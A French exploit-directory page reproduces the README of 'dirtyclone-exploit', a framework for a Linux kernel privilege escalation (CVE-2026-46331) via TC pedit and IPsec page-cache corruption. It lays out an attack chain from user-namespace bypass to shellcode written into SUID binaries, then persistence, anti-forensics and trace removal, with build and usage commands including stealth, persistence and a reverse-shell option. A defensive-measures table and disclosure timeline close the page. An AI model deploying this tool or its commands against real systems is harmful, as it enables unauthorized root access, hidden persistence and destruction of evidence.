Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
dirtyclone-exploit — CVE-2026-46331 — Escalade de privilèges locale dans le noyau Linux TC pedit + Corruption du cache de pages IPsec TEE Noyaux concernés : ≤ 6.12.9 | Kitploit
Outils/GitHubGitHub/vulnquest58/dirtyclone-exploit
Escalade de PrivilègesMécanismes de PersistanceAnalyse des VulnérabilitésExploitationPost-ExploitationTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges UtilesExploitation de Binaires
GitHubvulnquest58/dirtyclone-exploit

dirtyclone-exploit

CVE-2026-46331 — Escalade de privilèges locale dans le noyau Linux TC pedit + Corruption du cache de pages IPsec TEE Noyaux concernés : ≤ 6.12.9

513il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

Framework d'exploitation DirtyClone

CVE-2026-46331 — Élévation de privilèges locale dans le noyau Linux TC pedit + corruption du cache de pages IPsec TEE · Noyaux affectés : ≤ 6.12.9

root@kitploit:~
╔═══════════════════════════════════════════════════════════════╗
║   ____  _      _         ____ _                              ║
║  |  _ \(_)_ __| |_ _   _/ ___| | ___  _ __   ___           ║
║  | | | | | '__| __| | | | |   | |/ _ \| '_ \ / _ \        ║
║  | |_| | | |  | |_| |_| | |___| | (_) | | | |  __/        ║
║  |____/|_|_|   \__|_, |\____|_|\___/|_| |_|\___|           ║
║                    |___/                                     ║
╠═══════════════════════════════════════════════════════════════╣
║  CVE-2026-46331 · v1.0.0 · FOR RESEARCH AND EDUCATION ONLY  ║
╚═══════════════════════════════════════════════════════════════╝

License: MIT CVE Kernel Language


⚠️ UNIQUEMENT À DES FINS ÉDUCATIVES ET DE RECHERCHE Utilisez ce framework exclusivement dans des environnements de laboratoire isolés que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester. Toute utilisation non autorisée est illégale et contraire à l'éthique.


📋 Table des matières

  • Vue d'ensemble de la vulnérabilité
  • Chaîne d'attaque
  • Structure du projet
  • Prérequis
  • Construction et installation
  • Utilisation
  • Modules Python
  • Mesures défensives
  • Chronologie
  • Références

🔬 Vue d'ensemble de la vulnérabilité

CVE-2026-46331 est une vulnérabilité d'élévation de privilèges locale dans le noyau Linux (≤ 6.12.9) causée par une condition de course entre l'action pedit de la TC (cls_act) et la duplication de paquets basée sur IPsec TEE.

Cause racine

Lorsqu'un paquet traverse le chemin de sortie TC avec une action pedit qui définit IHL = 15, le sous-système IPsec du noyau reçoit un paquet malformé où le décalage de charge utile IP calculé dépasse les limites réelles du paquet. Sous des opérations sendfile(2) concurrentes, ce décalage permet à un utilisateur non privilégié (dans un espace de noms utilisateur avec CAP_NET_ADMIN) de corrompre les entrées read-only du cache de pages de fichiers arbitraires — y compris les binaires SUID.

Impact


🔗 Chaîne d'attaque

root@kitploit:~
Utilisateur non privilégié (UID=1000)
         │
         ▼
[1] Reconnaissance
    ├─ Vérification de la version du noyau
    ├─ Disponibilité des espaces de noms utilisateur
    └─ Profilage du binaire cible
         │
         ▼
[2] Contournement d'espace de noms
    ├─ unshare(CLONE_NEWUSER|CLONE_NEWNET)
    ├─ Saut de profil AppArmor (solution de repli)
    └─ CAP_NET_ADMIN acquis
         │
         ▼
[3] Infrastructure réseau
    ├─ clsact qdisc sur lo
    ├─ filtre pedit (IHL=15)
    └─ IPsec ESP + TEE
         │
         ▼
[4] Corruption du cache de pages
    ├─ sendfile → déclenchement pedit
    ├─ Entrée du cache de pages corrompue
    └─ Shellcode écrit dans un binaire en lecture seule
         │
         ▼
[5] Élévation de privilèges
    └─ execve(binaire SUID) → shell root
         │
         ▼
[6-8] Post-exploitation
    ├─ Persistance (6 mécanismes)
    ├─ Évasion / Anti-forensique
    └─ Nettoyage des traces
         │
         ▼
    🎯 SHELL ROOT (UID=0 EUID=0)

📁 Structure du projet

root@kitploit:~
dirtyclone-exploit/
├── Makefile                          # Système de construction
├── README.md                         # Ce fichier
├── LICENSE                           # Licence MIT
│
├── include/
│   ├── exploit.h                     # Types principaux, drapeaux, prototypes
│   ├── packet_engine.h               # API du moteur de création de paquets
│   ├── memory_ops.h                  # API de corruption du cache de pages
│   └── persistence.h                 # API du mécanisme de persistance
│
├── src/
│   ├── main.c                        # Point d'entrée du framework
│   ├── stage_env_analysis.c          # Phase 1 : Reconnaissance
│   ├── stage_namespace_bypass.c      # Phase 2 : contournement userns
│   ├── stage_network_setup.c         # Phase 3 : configuration TC/IPsec
│   ├── stage_page_cache_corrupt.c    # Phase 4 : Exploit principal
│   ├── stage_privilege_escalation.c  # Phase 5 : Élévation de privilèges locale
│   ├── stage_persistence.c           # Phase 6 : Persistance
│   ├── stage_evasion.c               # Phase 7 : Anti-forensique
│   ├── stage_cleanup.c               # Phase 8 : Suppression des traces
│   ├── memory_ops.c                  # Primitives de cache de pages
│   ├── packet_engine.c               # Création de paquets bruts
│   └── persistence.c                 # Implémentations de persistance
│
├── modules/
│   ├── packet_craft.py               # Créateur de paquets Python (Scapy)
│   └── exploit_analyzer.py           # Outil d'analyse pré-exploit
│
├── scripts/
│   ├── setup_env.sh                  # Installation des dépendances + construction
│   ├── cleanup.sh                    # Nettoyage du système
│   └── detect_targets.sh             # Scanneur de binaires vulnérables
│
└── payloads/
    └── README.md                     # Informations sur le répertoire des payloads

⚙️ Prérequis

Temps de compilation

  • gcc ≥ 10
  • make
  • libcap-dev / libcap-devel

Exécution (cible Linux)

  • Noyau ≤ 6.12.9
  • iproute2 (tc, ip)
  • iptables
  • Espaces de noms utilisateur non privilégiés activés

Modules Python (optionnel)

root@kitploit:~
pip install scapy

🔧 Construction et installation

root@kitploit:~
# Cloner
git clone https://github.com/vulnquest58/dirtyclone-exploit
cd dirtyclone-exploit

# Configuration automatique (installe les dépendances + construit)
sudo bash scripts/setup_env.sh

# Construction manuelle
make all

# Construction de débogage
make debug

# Nettoyage
make clean

🚀 Utilisation

root@kitploit:~
# Afficher l'aide
./bin/dirtyclone --help

# Test à blanc (analyse uniquement, pas d'exploitation)
./bin/dirtyclone --test

# Exploitation de base (cible par défaut : /usr/bin/su)
sudo ./bin/dirtyclone

# Cible personnalisée avec furtivité + persistance
sudo ./bin/dirtyclone --target /usr/bin/sudo --stealth --persist

# Shell inverse
sudo ./bin/dirtyclone --remote 192.168.1.100 4444 --cleanup

# Détecter d'abord les cibles vulnérables
bash scripts/detect_targets.sh

🐍 Modules Python

exploit_analyzer.py — Reconnaissance pré-exploit

root@kitploit:~
# Analyser la cible par défaut
python3 modules/exploit_analyzer.py

# Cible personnalisée
python3 modules/exploit_analyzer.py --target /usr/bin/sudo

# Sortie JSON pour l'automatisation
python3 modules/exploit_analyzer.py --json

# Scanner tous les binaires SUID
python3 modules/exploit_analyzer.py --all-suid

packet_craft.py — Déclenchement de paquets bruts

root@kitploit:~
# Envoyer des paquets d'exploit à l'offset 0x1234
sudo python3 modules/packet_craft.py --offset 0x1234

# Interface personnalisée et nombre de paquets
sudo python3 modules/packet_craft.py --iface eth0 --count 20

🛡️ Mesures défensives


📅 Chronologie

DateÉvénement

📚 Références

  • Entrée NVD CVE-2026-46331
  • Documentation du sous-système TC du noyau Linux
  • Implémentation IPsec TEE
  • Sécurité des espaces de noms utilisateur
  • Article technique DirtyClone

👤 Auteur

VulnQuest · Recherche en sécurité

  • 🌐 vulnquest58.github.io
  • 🐛 Portfolio Bug Bounty

Ce dépôt est fourni à des fins éducatives uniquement. Tout code d'exploitation est destiné à être utilisé dans des environnements de laboratoire autorisés.

Télécharger l’outil
PropriétéValeur
Score CVSS 3.18.8 (ÉLEVÉ)
Vecteur d'attaqueLocal
Privilèges requisFaible (utilisateur non privilégié)
ImpactShell root (UID=0 EUID=0)
Versions affectéesNoyau Linux ≤ 6.12.9
Version corrigée6.12.10
Commit du correctifa3f4d1c8...
Mesure défensiveCommande / Action
Mettre à jour le noyauMise à niveau vers ≥ 6.12.10 (correctif principal)
Désactiver les espaces de noms utilisateurecho 0 > /proc/sys/kernel/unprivileged_userns_clone
Restrictions AppArmorActiver apparmor avec le profil de restriction userns
Auditer TC peditauditctl -a always,exit -F arch=b64 -S unshare
Intégrité des fichiersDéployer AIDE ou Tripwire sur les binaires SUID
Filtres SeccompBloquer unshare() dans les conteneurs de production
2026-01-15Vulnérabilité découverte lors d'un audit du noyau
2026-02-03Signalée à [email protected]
2026-03-28Correctif validé (6.12.10)
2026-06-01Divulgation publique (délai de 90 jours)
2026-06-27Preuve de concept complète publiée